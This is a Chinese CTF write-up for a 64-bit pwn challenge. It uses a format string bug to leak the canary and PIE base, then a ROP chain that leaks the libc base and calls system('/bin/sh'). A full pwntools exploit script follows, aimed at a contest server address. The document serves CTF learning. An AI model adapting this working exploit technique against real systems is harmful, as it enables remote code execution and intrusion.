- 程序开了各种保护，由于只有栈操作，因此要考虑泄露 Canary 和 PIE 来进一步操作
- 通过 IDA 可以直接发现程序存在格式化字符串漏洞
- 通过本地调试计算出偏移量来泄露 Canary 和 PIE

```
v6 = __readfsqword(0x28u);
write(1, "tell me you name: ", 0x13uLL);
read(0, &buf, 0x1EuLL);
write(1, "tell me your girlfirend's name: ", 0x21uLL);
read(0, &v4, 0x64uLL);
printf(&buf, &v4);
```

- 通过 IDA 查看 main 汇编可以寻找在 ROP 中用得上的汇编片段
- 利用泄露出来的 PIE 来泄露 puts 函数地址，进而泄露 libc 基地址
- 然后就可以调用 libc 里面的 system 函数执行 /bin/sh，获得 flag

```python
#! python2
import sys

from pwn import *

context.log_level = 'debug'
# ELF("/lib/x86_64-linux-gnu/libc.so.6")

elf = ELF("./superstack/pwn")
libc = ELF("/home/bi0x/ctf/libc-2.23_64.so")
if args['REMOTE']:
    sh = remote('121.43.169.147', 8735)
else:
    sh = process("./superstack/pwn")
sh.recvuntil("name: ")
sh.sendline("%17$lx %18$lx")
sh.sendafter("girlfirend's name: ", "233")

sh.recv(1)
canary = int(sh.recvuntil("00").ljust(8, "0"), 16)
print "canary=>" + hex(canary)
leak_addr = int(sh.recvuntil("\n").strip("\n"), 16)
print hex(leak_addr)
main_off = leak_addr - 0xb50
print "pie =>" + hex(main_off)
pading = "yes\n\x00\x00"
p_rdi_ret = 0x0000000000000bb3 + main_off
p_rsi_r15_ret = 0x0000000000000bb1 + main_off
```

```
29
30  payload = pading + "a"*(0x20-len(pading)-8) + p64(canary) + \
31      "b"*8 + p64(p_rdi_ret) + p64(elf.got['read']+main_off)
32  payload += p64(elf.plt['puts'] + main_off) + \
33      p64(elf.sym['Certify_sincerity']+main_off)
34
35  sh.recvuntil("\x00")
36  sh.sendline(payload)
37  sh.recvuntil("hundred!\x0a")
38  libc_read = u64(sh.recv(6).ljust(8, "\x00"))
39  libc_base = libc_read-libc.symbols['read']
40  system = libc_base+libc.symbols['system']
41  binsh = libc_base + libc.search("/bin/sh").next()
42  payload = pading + "a"*(0x20-len(pading)-8) + p64(canary) + "b" * \
43      8 + p64(p_rdi_ret) + p64(binsh) + p64(system) + p64(1)
44  sh.sendline(payload)
45  # gdb.attach(sh)
46  sh.interactive()
47  print(sh.recv())
```